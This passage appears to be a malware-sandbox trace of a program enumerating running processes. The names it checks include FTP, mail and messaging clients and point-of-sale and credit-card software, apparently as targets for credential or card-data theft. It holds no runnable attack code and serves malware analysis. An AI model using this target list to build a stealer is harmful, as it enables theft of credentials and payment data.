cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0053.284] lstrlenW (lpString="audiodg.exe") returned 11 [0053.284] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.285] lstrlenW (lpString="svchost.exe") returned 11 [0053.285] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.285] lstrlenW (lpString="svchost.exe") returned 11 [0053.285] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0053.286] lstrlenW (lpString="dwm.exe") returned 7 [0053.286] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0053.287] lstrlenW (lpString="explorer.exe") returned 12 [0053.287] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0053.287] lstrlenW (lpString="spoolsv.exe") returned 11 [0053.287] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.288] lstrlenW (lpString="svchost.exe") returned 11 [0053.288] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.288] lstrlenW (lpString="taskhost.exe") returned 12 [0053.289] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0053.289] lstrlenW (lpString="taskeng.exe") returned 11 [0053.289] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0053.290] lstrlenW (lpString="spoken.exe") returned 10 [0053.290] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0053.290] lstrlenW (lpString="cut baby kind.exe") returned 17 [0053.290] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0053.291] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0053.291] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0053.291] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0053.291] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0053.292] lstrlenW (lpString="things apt speaker.exe") returned 22 [0053.292] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0053.292] lstrlenW (lpString="longest.exe") returned 11 [0053.292] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0053.293] lstrlenW (lpString="liberty.exe") returned 11 [0053.293] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0053.293] lstrlenW (lpString="robust.exe") returned 10 [0053.293] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0053.294] lstrlenW (lpString="browse.exe") returned 10 [0053.294] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0053.294] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0053.294] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0053.295] lstrlenW (lpString="blocked.exe") returned 11 [0053.295] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0053.295] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0053.295] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0053.296] lstrlenW (lpString="reno.exe") returned 8 [0053.296] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0053.296] lstrlenW (lpString="vancouver.exe") returned 13 [0053.296] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0053.297] lstrlenW (lpString="africa.exe") returned 10 [0053.297] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0053.297] lstrlenW (lpString="ph-pos.exe") returned 10 [0053.297] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0053.298] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0053.298] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0053.298] lstrlenW (lpString="peaceful.exe") returned 12 [0053.298] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0053.299] lstrlenW (lpString="louise_threshold.exe") returned 20 [0053.299] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0053.300] lstrlenW (lpString="scannerhit.exe") returned 14 [0053.300] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0053.300] lstrlenW (lpString="3dftp.exe") returned 9 [0053.300] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0053.301] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0053.301] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0053.301] lstrlenW (lpString="alftp.exe") returned 9 [0053.301] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0053.302] lstrlenW (lpString="barca.exe") returned 9 [0053.302] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0053.303] lstrlenW (lpString="bitkinex.exe") returned 12 [0053.303] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0053.303] lstrlenW (lpString="coreftp.exe") returned 11 [0053.303] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0053.304] lstrlenW (lpString="far.exe") returned 7 [0053.304] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0053.304] lstrlenW (lpString="filezilla.exe") returned 13 [0053.304] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0053.305] lstrlenW (lpString="flashfxp.exe") returned 12 [0053.305] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0053.305] lstrlenW (lpString="fling.exe") returned 9 [0053.306] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0053.306] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0053.306] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0053.307] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0053.307] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0053.307] lstrlenW (lpString="icq.exe") returned 7 [0053.307] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0053.308] lstrlenW (lpString="leechftp.exe") returned 12 [0053.308] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0053.308] lstrlenW (lpString="ncftp.exe") returned 9 [0053.308] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0053.309] lstrlenW (lpString="notepad.exe") returned 11 [0053.309] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0053.310] lstrlenW (lpString="operamail.exe") returned 13 [0053.310] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0053.311] lstrlenW (lpString="outlook.exe") returned 11 [0053.318] CloseHandle (hObject=0xe4) returned 1 [0053.318] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0053.319] lstrlenW (lpString="pidgin.exe") returned 10 [0053.319] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0053.320] lstrlenW (lpString="scriptftp.exe") returned 13 [0053.320] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0053.320] lstrlenW (lpString="skype.exe") returned 9 [0053.320] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0053.321] lstrlenW (lpString="smartftp.exe") returned 12 [0053.321] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0053.322] lstrlenW (lpString="thunderbird.exe") returned 15 [0053.322] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0053.323] lstrlenW (lpString="totalcmd.exe") returned 12 [0053.323] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0053.324] lstrlenW (lpString="trillian.exe") returned 12 [0053.324] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0053.324] lstrlenW (lpString="webdrive.exe") returned 12 [0053.325] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0053.325] lstrlenW (lpString="whatsapp.exe") returned 12 [0053.325] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0053.326] lstrlenW (lpString="winscp.exe") returned 10 [0053.326] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0053.327] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0053.327] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0053.328] lstrlenW (lpString="active-charge.exe") returned 17 [0053.328] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0053.328] lstrlenW (lpString="accupos.exe") returned 11 [0053.328] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0053.329] lstrlenW (lpString="afr38.exe") returned 9 [0053.329] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0053.330] lstrlenW (lpString="aldelo.exe") returned 10 [0053.330] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0053.330] lstrlenW (lpString="ccv_server.exe") returned 14 [0053.331] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0053.331] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0053.331] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0053.332] lstrlenW (lpString="creditservice.exe") returned 17 [0053.332] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0053.333] lstrlenW (lpString="edcsvr.exe") returned 10 [0053.333] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0053.344] lstrlenW (lpString="fpos.exe") returned 8 [0053.344] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0053.345] lstrlenW (lpString="isspos.exe") returned 10 [0053.345] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0053.345] lstrlenW (lpString="mxslipstream.exe") returned 16 [0053.345] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0053.346] lstrlenW (lpString="omnipos.exe") returned 11 [0053.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0053.347] lstrlenW (lpString="spcwin.exe") returned 10 [0053.347] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0053.347] lstrlenW (lpString="spgagentservice.exe") returned 